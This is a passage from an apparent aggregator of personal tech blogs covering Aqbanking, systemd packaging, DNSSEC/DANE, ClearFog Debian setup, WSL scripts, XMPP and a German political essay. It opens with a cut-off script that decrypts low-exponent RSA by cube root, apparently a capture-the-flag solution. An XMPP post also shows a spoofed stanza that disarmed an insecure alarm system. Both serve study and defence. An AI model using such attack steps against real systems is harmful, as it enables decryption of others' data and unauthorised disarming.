C = 13094996712007124344470117620331768168185106904388859938604066108465461324834973803666594501350900379061600358157727804618756203188081640756273094533547432660678049428176040512041763322083599542634138737945137753879630587019478835634179440093707008313841275705670232461560481682247853853414820158909864021171009368832781090330881410994954019971742796971725232022238997115648269445491368963695366241477101714073751712571563044945769609486276590337268791325927670563621008906770405196742606813034486998852494456372962791608053890663313231907163444106882221102735242733933067370757085585830451536661157788688695854436646

x = N * WRAPPINGS + C

val, _ = iroot(x, 3)
bstr = "%x" % int(val)

for i in range(0, len(bstr) // 2):
    sys.stdout.write(chr(int(bstr[2*i:2*i+2], 16)))

print()

November 03, 2016

Maximilian HenryAqbanking Error -57

Wer schon länger Gnucash oder andere auf Aqbanking setzende Lösungen für sein Onlinebanking bei der Sparkasse verwendet, wird feststellen, dass dies nicht mehr funktioniert und die einzige Meldung im Log sagt wenig hilfreich error -57.
Nachdem die Antwort auf dieses Problem nirgends ordentlich beschrieben ist, will ich dieses Lücke hier füllen.

Lösung:
Die Sparkasse versucht euch seit geraumer zeit mitzuteilen, dass ihr von HBCI 2.2 auf HBCI 3.0 umstellen müsst, leider habt ihr die Nachricht nie gesehen.
unter ~/.aqbanking/backends/aqhbci/data/banks/de/[BLZ]/users/[UID]/[KN]/messages/in findet ihr Nachrichten von eurer Bank, die euch sagen, dass ihr auf HBCI 3.0
umstellen sollt, inklusive des neuen Servers.
Also öffnen wir ~/.aqbanking/settings/*.conf und setzen das Feld
int hbciVersion ="300" und passen noch char server=banking-by1.s-fints-pt-by.de%3A3000%2F entsprechend an. Nicht wundern, dass die Kodierung etwas seltsam ist, das ist bestimmt der beste weg den Port 3000 zu speichern. Nach diesen beiden Änderungen sollte wieder alles wie gewohnt funktionieren.

October 26, 2016

Christoph EggerInstalling a python systemd service?

As web search engines and IRC seems to be of no help, maybe someone here has a helpful idea. I have some service written in python that comes with a .service file for systemd. I now want to build&install a working service file from the software's setup.py. I can override the build/build_py commands of setuptools, however that way I still lack knowledge wrt. the bindir/prefix where my service script will be installed.

Solution

Turns out, if you override the install command (not the install_data!), you will have self.root and self.install_scripts (and lots of other self.install_*). As a result, you can read the template and write the desired output file after calling super's run method. The fix was inspired by GateOne (which, however doesn't get the --root parameter right, you need to strip self.root from the beginning of the path to actually make that work as intended).

As suggested on IRC, the snippet (and my software) no use pkg-config to get at the systemd path as well. This is a nice improvement orthogonal to the original problem. The implementation here follows bley.


def systemd_unit_path():
    try:
        command = ["pkg-config", "--variable=systemdsystemunitdir", "systemd"]
        path = subprocess.check_output(command, stderr=subprocess.STDOUT)
        return path.decode().replace('\n', '')
    except (subprocess.CalledProcessError, OSError):
        return "/lib/systemd/system"


class my_install(install):
    _servicefiles = [
        'foo/bar.service',
        ]

    def run(self):
        install.run(self)

        if not self.dry_run:
            bindir = self.install_scripts
            if bindir.startswith(self.root):
                bindir = bindir[len(self.root):]

            systemddir = "%s%s" % (self.root, systemd_unit_path())

            for servicefile in self._servicefiles:
                service = os.path.split(servicefile)[1]
                self.announce("Creating %s" % os.path.join(systemddir, service),
                              level=2)
                with open(servicefile) as servicefd:
                    servicedata = servicefd.read()

                with open(os.path.join(systemddir, service), "w") as servicefd:
                    servicefd.write(servicedata.replace("%BINDIR%", bindir))

Comments, suggestions and improvements, of course, welcome!

Florian SchmausDesigning a DNSSEC application API

Posted on October 26, 2016
Tags: dnssec, xmpp

I’m intending to apply a patch adding DNSSEC support to Smack, a XMPP client library, in the near feature. And since DNSSEC support in application protocol libraries is still uncommon, I thought it might be a good idea to share the principles how the API was designed.

DNSSEC

DNSSEC authenticates DNS answers, positive and negative ones. This means that if a DNS response secured by DNSSEC turns out to be authentic, then you can be sure that the domain either exists, and that the returned resource records (RRs) are the ones the domain owner authorized, or that the domain does not exists and that nobody tried to fake its non existence.

The tricky part is that an application using DNSSEC can not determine whether a domain uses DNSSEC, does not use DNSSEC or if someone downgraded your DNS query using DNSSEC to a response without DNSSEC.

Smack’s DNSSEC API

I like to keep APIs I design as simple as possible to use for the user. Thus Smack’s DNSSEC API simply extends the already existing ConnectionConfiguration used to – you guessed it – configure XMPP connections by a single method:

ConnectionConfiguration.setDnssecMode(DnssecMode dnssecMode);

where DnssecMode is an enum defined as follows:

enum DnssecMode {
  disabled,
  needsDnssec,
  needsDnssecAndDane,
}

The user simply calls config.setDnssecMode(DnssecMode.needsDnssec) and Smack will only connect to an XMPP service if all involved DNS resource recordes could be verified using DNSSEC.

You may noticed the ...AndDane variant of the enum. If this mode is used, then Smack will not only require DNSSEC, but also require DANE (RFC 6598) in order to verify the service’s TLS certificate.

Desiging for a good UI and UX

The Issue

The issue with the DnssecMode API exposed by Smack is that an application should never have to ask the end-user if it’s XMPP account is secured by DNSSEC. There should be no questionare, checkbox or whatever about this feature. The best UI regarding a option is if there is none, i.e., if it just works out of the box.

A possible solution

So what should applications do? The answer is simple and similar to “HTTP Strict Transport Security” (HSTS, RFC 6797) used for HTTP(S) connections. Instead of asking the user if DNSSEC is available, they should check for DNSSEC support on every connection attempt. Once DNSSEC support has been discovered, the application uses the needsDnssec mode for all future connection attempts.

An analysis

Of course this scheme is not without drawbacks. First, it is possible that an attacker downgrades the DNS responses to non-DNSSEC. Depending on where the attacker sits in the path between the user and its service, this may always be possible for the attacker or only if the user’s device uses a certain network. The downgrade attack also becomes impossible with this scheme after the application was at least once able to connect to the service using DNSSEC.

Furthermore, if the user’s service needs to drop DNSSEC support for whatever reason (technical, political, …), then the user possible gets a message that the connection failed because something named “DNSSEC” was not avaialble. As with most security concepts, it is hard for the average user to asses situation and take the approbiate action. Of course, the application could ask the user to contact the service provider and ask if DNSSEC was indeed disabled before continuing the connection attempt.

But ideally, service providers would never drop DNSSEC support and the application would simply start a new connection attempt after a failed one caused by the lack of DNSSEC. This is similar to how most applications would (or should) treat a STARTTLS downgrade attack: Simply retry until the demanded security gurantees are fullfiled. Then the user doesn’t have to deal with technical error messages.

Note that the exact same scheme can be used with the needsDnssecAndDane mode. Once DNSSEC and a TLSA RR has been discovered for the service and was successfully used to verify the TLS connection, the application should always use the needsDnssecAndDane mode.

Why not in Smack?

The attentive reader may wonder why I did not implement the described mechanism in Smack, instead of having the application deal with it. I’d really love to do so, but Smack has no API and mechanism for saving a connection state to persistent storage. This would be required for the described scheme. Such a mechanism planned to come with Smack 4.3 though.

October 22, 2016

Christoph EggerRunning Debian on the ClearFog

Back in August, I was looking for a Homeserver replacement. During FrOSCon I was then reminded of the Turris Omnia project by NIC.cz. The basic SoC (Marvel Armada 38x) seemed to be nice hand have decent mainline support (and, with the turris, users interested in keeping it working). Only I don't want any WIFI and I wasn't sure the standard case would be all that usefully. Fortunately, there's also a simple board available with the same SoC called ClearFog and so I got one of these (the Base version). With shipping and the SSD (the only 2242 M.2 SSD with 250 GiB I could find, a ADATA SP600) it slightly exceeds the budget but well.

ClearFog with SSD

When installing the machine, the obvious goal was to use mainline FOSS components only if possible. Fortunately there's mainline kernel support for the device as well as mainline U-Boot. First attempts to boot from a micro SD card did not work out at all, both with mainline U-Boot and the vendor version though. Turns out the eMMC version of the board does not support any micro SD cards at all, a fact that is documented but others failed to notice as well.

U-Boot

As the board does not come with any loader on eMMC and booting directly from M.2 requires removing some resistors from the board, the easiest way is using UART for booting. The vendor wiki has some shell script wrapping an included C fragment to feed U-Boot to the device but all that is really needed is U-Boot's kwboot utility. For some reason the SPL didn't properly detect UART booting on my device (wrong magic number) but patching the if (in arch-mvebu's spl.c) and always assume UART boot is an easy way around.

The plan then was to boot a Debian armhf rootfs with a defconfig kernel from USB stick. and install U-Boot and the rootfs to eMMC from within that system. Unfortunately U-Boot seems to be unable to talk to the USB3 port so no kernel loading from there. One could probably make UART loading work but switching between screen for serial console and xmodem seemed somewhat fragile and I never got it working. However ethernet can be made to work, though you need to set eth1addr to eth3addr (or just the right one of these) in U-Boot, saveenv and reboot. After that TFTP works (but is somewhat slow).

eMMC

There's one last step required to allow U-Boot and Linux to access the eMMC. eMMC is wired to the same PINs as the SD card would be. However the SD card has an additional indicator pin showing whether a card is present. You might be lucky inserting a dummy card into the slot or go the clean route and remove the pin specification from the device tree.

--- a/arch/arm/dts/armada-388-clearfog.dts
+++ b/arch/arm/dts/armada-388-clearfog.dts
@@ -306,7 +307,6 @@

                        sdhci@d8000 {
                                bus-width = <4>;
-                               cd-gpios = <&gpio0 20 GPIO_ACTIVE_LOW>;
                                no-1-8-v;
                                pinctrl-0 = <&clearfog_sdhci_pins
                                             &clearfog_sdhci_cd_pins>;

Next Up is flashing the U-Boot to eMMC. This seems to work with the vendor U-Boot but proves to be tricky with mainline. The fun part boils down to the fact that the boot firmware reads the first block from eMMC, but the second from SD card. If you write the mainline U-Boot, which was written and tested for SD card, to eMMC the SPL will try to load the main U-Boot starting from it's second sector from flash -- obviously resulting in garbage. This one took me several tries to figure out and made me read most of the SPL code for the device. The fix however is trivial (apart from the question on how to support all different variants from one codebase, which I'll leave to the U-Boot developers):

--- a/include/configs/clearfog.h
+++ b/include/configs/clearfog.h
@@ -143,8 +143,7 @@
 #define CONFIG_SPL_LIBDISK_SUPPORT
 #define CONFIG_SYS_MMC_U_BOOT_OFFS             (160 << 10)
 #define CONFIG_SYS_U_BOOT_OFFS                 CONFIG_SYS_MMC_U_BOOT_OFFS
-#define CONFIG_SYS_MMCSD_RAW_MODE_U_BOOT_SECTOR        ((CONFIG_SYS_U_BOOT_OFFS / 512)\
-                                                + 1)
+#define CONFIG_SYS_MMCSD_RAW_MODE_U_BOOT_SECTOR        (CONFIG_SYS_U_BOOT_OFFS / 512)
 #define CONFIG_SYS_U_BOOT_MAX_SIZE_SECTORS     ((512 << 10) / 512) /* 512KiB */
 #ifdef CONFIG_SPL_BUILD
 #define CONFIG_FIXED_SDHCI_ALIGNED_BUFFER      0x00180000      /* in SDRAM */

Linux

Now we have a System booting from eMMC with mainline U-Boot (which is a most welcome speedup compared to the UART and TFTP combination from the beginning). Getting to fine-tune linux on the device -- we want to install the armmp Debian kernel and have it work. As all the drivers are build as modules for that kernel this also means initrd support. Funnily U-Boots bootz allows booting a plain vmlinux kernel but I couldn't get it to boot a plain initrd. Passing a uImage initrd and a normal kernel however works pretty well. Back when I first tried there were some modules missing and ethernet didn't work with the PHY driver built as a module. In the meantime the PHY problem was fixed in the Debian kernel and almost all modules already added. Ben then only added the USB3 module on my suggestion and as a result, unstable's armhf armmp kernel should work perfectly well on the device (you still need to patch the device tree similar to the patch above). Still missing is an updated flash-kernel to automatically generate the initrd uImage which is work in progress but got stalled until I fixed the U-Boot on eMMC problem and everything should be fine -- maybe get debian u-boot builds for that board.

Pro versus Base

The main difference so far between the Pro and the Base version of the ClearFog is the switch chip which is included on the Pro. The Base instead "just" has two gigabit ethernet ports and a SFP. Both, linux' and U-Boot's device tree are intended for the Pro version which makes on of the ethernet ports unusable (it tries to find the switch behind the ethernet port which isn't there). To get both ports working (or the one you settled on earlier) there's a second patch to the device tree (my version might be sub-optimal but works), U-Boot -- the linux-kernel version is a trivial adaption:

--- a/arch/arm/dts/armada-388-clearfog.dts
+++ b/arch/arm/dts/armada-388-clearfog.dts
@@ -89,13 +89,10 @@
                internal-regs {
                        ethernet@30000 {
                                mac-address = [00 50 43 02 02 02];
+                               managed = "in-band-status";
+                               phy = <&phy1>;
                                phy-mode = "sgmii";
                                status = "okay";
-
-                               fixed-link {
-                                       speed = <1000>;
-                                       full-duplex;
-                               };
                        };

                        ethernet@34000 {
@@ -227,6 +224,10 @@
                                pinctrl-0 = <&mdio_pins>;
                                pinctrl-names = "default";

+                               phy1: ethernet-phy@1 { /* Marvell 88E1512 */
+                                    reg = <1>;
+                               };
+
                                phy_dedicated: ethernet-phy@0 {
                                        /*
                                         * Annoyingly, the marvell phy driver
@@ -386,62 +386,6 @@
                tx-fault-gpio = <&expander0 13 GPIO_ACTIVE_HIGH>;
        };

-       dsa@0 {
-               compatible = "marvell,dsa";
-               dsa,ethernet = <&eth1>;
-               dsa,mii-bus = <&mdio>;
-               pinctrl-0 = <&clearfog_dsa0_clk_pins &clearfog_dsa0_pins>;
-               pinctrl-names = "default";
-               #address-cells = <2>;
-               #size-cells = <0>;
-
-               switch@0 {
-                       #address-cells = <1>;
-                       #size-cells = <0>;
-                       reg = <4 0>;
-
-                       port@0 {
-                               reg = <0>;
-                               label = "lan1";
-                       };
-
-                       port@1 {
-                               reg = <1>;
-                               label = "lan2";
-                       };
-
-                       port@2 {
-                               reg = <2>;
-                               label = "lan3";
-                       };
-
-                       port@3 {
-                               reg = <3>;
-                               label = "lan4";
-                       };
-
-                       port@4 {
-                               reg = <4>;
-                               label = "lan5";
-                       };
-
-                       port@5 {
-                               reg = <5>;
-                               label = "cpu";
-                       };
-
-                       port@6 {
-                               /* 88E1512 external phy */
-                               reg = <6>;
-                               label = "lan6";
-                               fixed-link {
-                                       speed = <1000>;
-                                       full-duplex;
-                               };
-                       };
-               };
-       };
-
        gpio-keys {
                compatible = "gpio-keys";
                pinctrl-0 = <&rear_button_pins>;

Conclusion

Apart from the mess with eMMC this seems to be a pretty nice device. It's now happily running with a M.2 SSD providing enough storage for now and still has a mSATA/mPCIe plug left for future journeys. It seems to be drawing around 5.5 Watts with SSD and one Ethernet connected while mostly idle and can feed around 500 Mb/s from disk over an encrypted ethernet connection which is, I guess, not too bad. My plans now include helping to finish flash-kernel support, creating a nice case and probably get it deployed. I might bring it to FOSDEM first though.

Working on it was really quite some fun (apart from the frustrating parts finding the one-block-offset ..) and people were really helpful. Big thanks here to Debian's arm folks, Ben Hutchings the kernel maintainer and U-Boot upstream (especially Tom Rini and Stefan Roese)

August 30, 2016

Maximilian HenryDateien mit Linux-Anwendungen unter Windows 10 öffnen

Windows 10 bietet seit Anfang August eine Linux Umgebung, welche in der Lage ist, viele übliche Linux-Anwendungen auszuführen. Während es von Haus aus keine Unterstützung für GUI-Anwendungen gibt, dauerte es nicht lange, bis Leute herausfanden, dass dies mit Hilfe des X-Servers XMing in der Windows-Umgebung kein Problem ist. Doch wie kann man nun diese Anwendungen direkt als Filehandler starten?
2 kleine Skripte, und schon können wir zum Beispiel den PDF-Betrachter Katarakt unter Windows 10 nutzen:
Skript 1 plazieren wir als katarakt.cmd irgendwo in unserem Windows

pushd && bash.exe -c "~/bin/winrun katarakt '"%1"'"  

Skript 2 ist ein bash-skript und gehört in die Linux-Umgebung, wenn es nicht unter ~/bin/winrun liegen soll, muss der Pfad in Skript 1 angepasst werden.

#!/bin/bash

winpath="$2"  
prog="$1"  
driveletter=$(echo "$winpath" | head -c1 | tr '[:upper:]' '[:lower:]')  
localpath=$(echo "$winpath" | cut -f2- -d"\\" | sed 's#\\#\/#g')  
fullpath="/mnt/$driveletter/$localpath"  
DISPLAY=:0 "$prog" "$fullpath"  

Das 2. Skript dient nun dazu, den absoluten Windows-Pfad, welcher übergeben wurde, in einen in der Linux-Umgebung gültigen zu verwandeln und dann die Anwendung zu starten. Nicht vergessen, vorher den XMing zu starten und das 2. Skript ausführbar zu machen und ihr könnt eure Lieblingsanwendung, die es nicht für Windows gibt, quasi-nativ verwenden.

Christoph EggerDANE and DNSSEC Monitoring

At this year's FrOSCon I repeted my presentation on DNSSEC. In the audience, there was the suggestion of a lack of proper monitoring plugins for a DANE and DNSSEC infrastructure that was easily available. As I already had some personal tools around and some spare time to burn I've just started a repository with some useful tools. It's available on my website and has mirrors on Gitlab and Github. I intent to keep this repository up-to-date with my personal requirements (which also means adding a xmpp check soon) and am happy to take any contributions (either by mail or as "pull requests" on one of the two mirrors). It currently has smtp (both ssmtp and starttls) and https support as well as support for checking valid DNSSEC configuration of a zone.

While working on it it turned out some things can be complicated. My language of choice was python3 (if only because the ssl library has improved since 2.7 a lot), however ldns and unbound in Debian lack python3 support in their bindings. This seems fixable as the source in Debian is buildable and useable with python3 so it just needs packaging adjustments. Funnily the ldns module, which is only needed for check_dnssec, in debian is currently buggy for python2 and python3 and ldns' python3 support is somewhat lacking so I spent several hours hunting SWIG problems.

August 11, 2016

Christoph EggerLooking for a replacement Homeserver

Almost exactly six years ago I bought one of these Fuloong 6064 mini PCs. The machine has been working great ever since both collecting my mail and acting as an IMAP server as well as providing public services -- it's also keyserver.siccegge.de. However jessie is supposed to be the last Debian release supporting the hardware and the system's rather slow and lacks memory. This is especially noticeable with IMAP spam filter training and mail indexing. Therefore I'm looking for some nice replacement -- preferably non-x86 again (no technical reasons). My requirements are pretty simple:

  • Works with vanilla stretch (and stretch kernel)
  • Still works with Debian stable six years from now
  • Faster (single-core performance, 2-4 cores would be nice as well), currently it's a 900MHz super-scalar, out-of-order MIPS64 CPU
  • Consumes less power
  • SATA port
  • Preferably fanless
  • Maximum same price range, around 200 EUR including case and shipping

Now I'd consider one of these ARM boards and get it a nice case but they seem all to either fail in terms of SATA or not being faster at all (and one needs to go for outdated hardware to stand a chance of mainline kernel support). If anyone knows something nice and non-x86 I'll happily take suggestions.

July 04, 2016

Florian SchmausXMPP IoT Anti-Patterns

Posted on July 4, 2016
Tags: xmpp

The recent issue (2016-14 page 78 ff.) of the German computer magazine c’t has an interesting article about security issues in alarm systems. I was a bit surprised that in 2016 we still have systems online which are vulnerable because of a default password or passwords like ‘1234’. The c’t had articles about similar issues before. Obviously the industry has much to learn about securing the Internet of Things (IoT).

What caught my attention was an XMPP message that is, according to the article, used by the alarm system to confirm the user PIN with a central server in order to disarm the system. The article describes a security flaw where sending the same message without the PIN would erroneously disarm the system. The message stanza looks like this

<message
  id="n0000-000000"
  to="<unique-id-of-alarm-system-central>@climax-home-portal"
  type="chat"
  from="security_ admin@climax-home-portal/Smack">
    <body> 4150795OqiESNX2RCHC/ :;MODA:1,0, 1234 </body>
</message>

This demonstrates nicely a few XMPP-for-IoT Anti-Patterns I’d like to discuss.

The Anti-Patterns

  1. Using XMPP without properly secured TLS. What made it easy to have a direct look at the used XMPP stanzas, was that the alarm system used an unencrypted connection. This revealed the PIN position and made it possible to inject spoofed stanzas.

  2. Abusing <body/> to carry machine data. RFC 6121 § 5.2.3 defines the <body/> content as “human-readable XML character data”. I guess this contributed a bit to the security flaw, where a message stanza without the PIN would disarm the system, because parsing that particular body content format doesn’t seem easy. But even if my guess is wrong, abusing the <body/> element in such a way will eventually snap back to you once your IoT environment grows.

  3. Allowing the client to determine the resource. Depending on the services policy on resource conflicts, this could lead to reconnect loops until the old connection using the same resource finally timeouts. Hardcoded resource strings also make it easy for an attacker to guess a resource. If the client does not protect itself against unsolicited stanzas send, e.g. by using XEP-0016 Privacy Lists, then this could at least allow an attacker to drain a mobile clients battery or allow him to access unprotected IQ interfaces.

  4. Using ‘chat’ type messages. Often done because “we don’t know better”. OK, I’m just guessing that ‘chat’ was used because of this reason. But I see it often that people just use ‘chat’ for no obvious reason, ‘normal’ would be the better choice in this case. And since it is the default type, you can omit it, saving a few bytes over the wire.

The Correct Patterns

  1. Use proper TLS for god’s sake. But “enabling” TLS is not enough. There is an intolerably large amount of implementations using TLS with an “accept all certificates” policy in order to be able to connect to hosts with self-signed certificates. That is a very bad approach in every aspect. Instead, use Certificate Pinning. With Java Pinning and Smack, TLS Certificate Pinning is as easy as:

    SSLContext sc = Java7Pinning
      .forPin("SHA256:e3b1812d945da1a2a2c5fa28029d2fe34c7c...");
    XMPPTCPConnectionConfiguration conf = XMPPTCPConnectionConfiguration
      .builder()
      .setUsernameAndPassword("user", "pass")
      .setXmppDomain("example.org")
      .setCustomSSLContext(sc)
      .build();
  2. Use a custom extension element for your data. After all, extensibility is one of the strong arguments for XMPP. All XMPP libraries provide APIs to handle (create, process, serialize, deserialize) custom extension elements. The message above could for example look like this if they had used a custom <disarm xmlns='namespace:of:vendor'/> extension element:

    <message
      id="n0000-000000"
      to="<unique-id-of-alarm-system-central>@climax-home-portal"
      from="security_ admin@climax-home-portal/ba7971ca-a887-404b-8c48">
    <disarm xmlns='namespace:of:vendor'>
      <data>4150795OqiESNX2RCHC/</data>
      <mode foo='true' bare='false'>MODA</mode>
      <pin>1234</pin>
    </disarm>
    </message>
  3. Let the server assign a resource. You usually want to do this independently of your use-case for XMPP (e.g. also when using XMPP for Instant Messaging). Since this is not IoT specific, but true for general XMPP usage, the XMPP Wiki also mentions this as guideline for IM developers also providing a rationale.

  4. Use a fitting message type. XMPP provides a variety of message types, each with different semantics. Sadly those types are named after their common use-case and not after their semantic, so people assume that they are just useful for that. For example ‘chat’ for chatting purposes and ‘headline’ for headlines. But in the end, you should choose the message type depending on your use-case. Primarily the message type affects the routing rules of the message stanzas. There is no reason you would want to use ‘chat’ in IoT. Use ‘normal’ and omit the ‘type’ attribute completely, since ‘normal’ is the default. Messages of type ‘headline’ also provide some nice properties for the IoT use-case (fan-out to all available resources of the recipient).

Remark

Note that this list of patterns is not comprehensive. Also some points are not exclusive to XMPP-for-IoT, but apply to XMPP usage in general.

Get in touch with the XMPP Community

I really encourage vendors to discuss their ideas, designs and approaches build upon XMPP with the XMPP community. I have encountered a lot of IoT specifications and implementations using XMPP which had, not only minor, but also serious design flaws. Fixing the ones which are already in production is an enormous effort. Thus I can only strongly recommend to get a peer review for your design early.

The XMPP community is very friendly, especially when it comes to supporting open standards and potentially subsequent open-source implementations. Usually you will find people willing to help you design and review your XMPP usage. Just join the xsf@muc.xmpp.org chat or post your XMPP related questions to the standards@mail.jabber.org mailing list.

April 22, 2016

Florian SchmausAlpha release of MiniDNS DNSSEC

Posted on April 22, 2016
Tags: dns, xmpp

Introduction

Rene just tagged MiniDNS 0.2.0-alpha3 and pushed it to Maven Central. This release includes experimental support for DNSSEC.

About MiniDNS

MiniDNS is an open-source and highly portable DNS resolver written in Java for Android and Java SE runtimes. MiniDNS aims to be lightweight and modular, which makes it different from similar projects like dnsjava.

It is triple licensed. Users can choose the license terms they like from: Apache License 2.0, LGPL 2.1 and WTFPL.

The fastest way to get familiar with MiniDNS is by playing around with its built-in Read-Evaluate-Print-Loop (REPL). Pleaes note that proper support for CNAME / DNAME is not yet implemented.

DNSSEC

The new DNSSEC (DNS Security Extensions) support was added through a Google Summer of Code (GSOC) project in 2015 under the umbrella of the XMPP Standards Foundation (XSF). We would like to thank our skilled student Marvin and Google for making this possible.

DNSSEC has multiple benefits, it not only allows the verification of DNS responses (data origin authentication), but also helps making protocols like HTTP, SMTP, IMAP and XMPP more secure by using DANE.

Multiple open source projects already expressed interested in MiniDNS’s DNSSEC feature: Also Smack, the XMPP client library for Android and Java SE I maintain, will provide experimental support for DANE using MiniDNS soon. Daniel, the author of the popular Android XMPP client Conversations, already a MiniDNS user, also expressed interest in adding support for DANE. And last but not least, Vincent and Dominik of OpenKeychain fame are looking forward to adding support for the OPENPGPKEY record as defined in draft-ietf-dane-openpgpkey.

Other projects are of course welcome as well. But please contact me before using the DNSSEC features of MiniDNS: Again, this is highly experimental code. I will keep you updated about the current state of MiniDNS in this very blog.

Help Wanted

The MiniDNS code has not yet received an extensive security review. As an understaffed open source project without any funding, we don’t have the necessary resources to pay for such a review.

But even if we had the funds, we first need to find someone capable of actually performing such a review. Maybe you know someone or how to help?

Feel free to contact me if you want to help.

Future Release Highlight: Support for the Kitchen Sink RR

With DNSSEC support in the ‘master’ branch, the only killer feature missing is support for the Kitchen Sink Resource Record (KS RR). The KS RR allows “to put complex, bulky, and/or obscurely structured data into the Domain Name System (DNS)”. Combined with DNSSEC this allows signing arbitrary data of any size, allowing for a broad range of possible use cases. Unlike most other pending features in open source projects, we are able to give an exact date when this feature will arrive: 2017-04-01. Stay tuned.

March 19, 2016

Maximilian HenryEine neue Vision

Es ist kein Geheimnis, dass Deutschland nach Schröder und Merkel ohne eine Volkspartei mit einer wirkliche Vision oder Ideologie da steht, während viele das gar nicht so schlecht finden mögen, ist es doch diese Ideenlosigkeit, welche auch einer der Gründe für den Aufstieg der AfD ist. Dort wo Merkel all jene, die wirklich eine konservative Politik wollten verloren hat, schöpft die AfD, abseits des braunen Sumpfes, aus dem die NPD nie herauskam und in welchen die Medien und die etablierten Parteien sie gerne einsortieren würden. Doch die alten Ideologien sind nicht nur an Schröder und Merkel gestorben, ihnen fehlt es auch heute an dem Bezug zur gesellschaftlichen Realität.
Wie soll denn heute eine sozialdemokratische Politik aussehen, ganz ohne die Arbeiter, welche einst das Kernklientel bildeten und deren Jobs fast vollständig verschwunden sind.
Ich glaube, dass uns durchaus eine Partei, welche für eine soziale und faire Behandlung der Unterschicht und unteren Mittelschicht, aller Abhängig-Beschäftigen und Arbeitslosen braucht, aber die SPD erfüllt diese Rolle nicht und kann sie, ohne eine neue Idee auch nicht mehr erfüllen, selbst wenn sie wollte und die Linke ist einfach zu intellektuell und außerdem gerade in Westdeutschland noch immer nicht wählbar.
Die Partei, die wir bräuchten, müsste ganz oben Arbeit psychologisch entwerten. Es gibt keinen Grund, warum in unserer Welt arbeit, gerade für die schlechter gestellten, identitätsstiftend sein sollte, nutzlose neoliberale Begriffe wie Leistungsträger gehören entwertet! Gleichzeitig, muss die eine Botschaft verbreitet werden, die wirklich weiten Teilen der Gesellschaft eine Beschäftigung verschaffen kann, wir müssen die Regelarbeitszeit schrittweise in die Richtung 30-32h senken und eine Obergrenze der Wochenarbeitszeit einführen!
Die Automatisierung weiter Geschäftsfelder kann nur so ein Gewinn für die Gesellschaft sein und man muss sich klar machen, dass wer heute 60h arbeitet, einer zweiten Person ihre Beschäftigung klaut und keine neoliberale Bewunderung verdient. Wie eine Entsprechung dazu im konservativen Spektrum aussehen könnte, um der AfD auch dort etwas anderes, als Ideenlosigkeit entgegen zu setzen, fällt mir schwer zu beurteilen, da dies zu weit von meiner eigenen politischen Identität entfernt ist.

February 24, 2016

Christoph Eggerdoveadm deduplicate

Without further words:

% for i in $(seq 1 90) ; do doveadm mailbox status messages debian.buildd.archive.2011.05 | column -t ;  doveadm deduplicate mailbox debian.buildd.archive.2011.05 ; done
debian.buildd.archive.2011.05  messages=8094
debian.buildd.archive.2011.05  messages=7939
debian.buildd.archive.2011.05  messages=7816
debian.buildd.archive.2011.05  messages=7698
debian.buildd.archive.2011.05  messages=7610
debian.buildd.archive.2011.05  messages=7529
debian.buildd.archive.2011.05  messages=7455
debian.buildd.archive.2011.05  messages=7375
debian.buildd.archive.2011.05  messages=7294
debian.buildd.archive.2011.05  messages=7215
debian.buildd.archive.2011.05  messages=7136
debian.buildd.archive.2011.05  messages=7032
debian.buildd.archive.2011.05  messages=6941
debian.buildd.archive.2011.05  messages=6839
debian.buildd.archive.2011.05  messages=6721
debian.buildd.archive.2011.05  messages=6631
debian.buildd.archive.2011.05  messages=6553
debian.buildd.archive.2011.05  messages=6476
debian.buildd.archive.2011.05  messages=6388
debian.buildd.archive.2011.05  messages=6301
debian.buildd.archive.2011.05  messages=6211
debian.buildd.archive.2011.05  messages=6140
debian.buildd.archive.2011.05  messages=6056
debian.buildd.archive.2011.05  messages=6007
debian.buildd.archive.2011.05  messages=5955
debian.buildd.archive.2011.05  messages=5887
debian.buildd.archive.2011.05  messages=5826
debian.buildd.archive.2011.05  messages=5752
debian.buildd.archive.2011.05  messages=5706
debian.buildd.archive.2011.05  messages=5657
debian.buildd.archive.2011.05  messages=5612
debian.buildd.archive.2011.05  messages=5570
debian.buildd.archive.2011.05  messages=5523
debian.buildd.archive.2011.05  messages=5474
debian.buildd.archive.2011.05  messages=5422
debian.buildd.archive.2011.05  messages=5382
debian.buildd.archive.2011.05  messages=5343
debian.buildd.archive.2011.05  messages=5308
debian.buildd.archive.2011.05  messages=5256
debian.buildd.archive.2011.05  messages=5221
debian.buildd.archive.2011.05  messages=5168
debian.buildd.archive.2011.05  messages=5133
debian.buildd.archive.2011.05  messages=5092
debian.buildd.archive.2011.05  messages=5058
debian.buildd.archive.2011.05  messages=5030
debian.buildd.archive.2011.05  messages=4994
debian.buildd.archive.2011.05  messages=4964
debian.buildd.archive.2011.05  messages=4935
debian.buildd.archive.2011.05  messages=4900
debian.buildd.archive.2011.05  messages=4868
debian.buildd.archive.2011.05  messages=4838
debian.buildd.archive.2011.05  messages=4811
debian.buildd.archive.2011.05  messages=4778
debian.buildd.archive.2011.05  messages=4748
debian.buildd.archive.2011.05  messages=4722
debian.buildd.archive.2011.05  messages=4686
debian.buildd.archive.2011.05  messages=4661
debian.buildd.archive.2011.05  messages=4637
debian.buildd.archive.2011.05  messages=4613
debian.buildd.archive.2011.05  messages=4593
debian.buildd.archive.2011.05  messages=4570
debian.buildd.archive.2011.05  messages=4554
debian.buildd.archive.2011.05  messages=4536
debian.buildd.archive.2011.05  messages=4520
debian.buildd.archive.2011.05  messages=4500
debian.buildd.archive.2011.05  messages=4481
debian.buildd.archive.2011.05  messages=4466
debian.buildd.archive.2011.05  messages=4445
debian.buildd.archive.2011.05  messages=4430
debian.buildd.archive.2011.05  messages=4417
debian.buildd.archive.2011.05  messages=4405
debian.buildd.archive.2011.05  messages=4390
debian.buildd.archive.2011.05  messages=4376
debian.buildd.archive.2011.05  messages=4366
debian.buildd.archive.2011.05  messages=4360
debian.buildd.archive.2011.05  messages=4350
debian.buildd.archive.2011.05  messages=4336
debian.buildd.archive.2011.05  messages=4329
debian.buildd.archive.2011.05  messages=4320
debian.buildd.archive.2011.05  messages=4315
debian.buildd.archive.2011.05  messages=4312
debian.buildd.archive.2011.05  messages=4311
debian.buildd.archive.2011.05  messages=4309
debian.buildd.archive.2011.05  messages=4308
debian.buildd.archive.2011.05  messages=4308
debian.buildd.archive.2011.05  messages=4308
debian.buildd.archive.2011.05  messages=4308
debian.buildd.archive.2011.05  messages=4308
debian.buildd.archive.2011.05  messages=4308
debian.buildd.archive.2011.05  messages=4308

February 10, 2016

Maximilian HenryPodcast Empfehlungen 2016

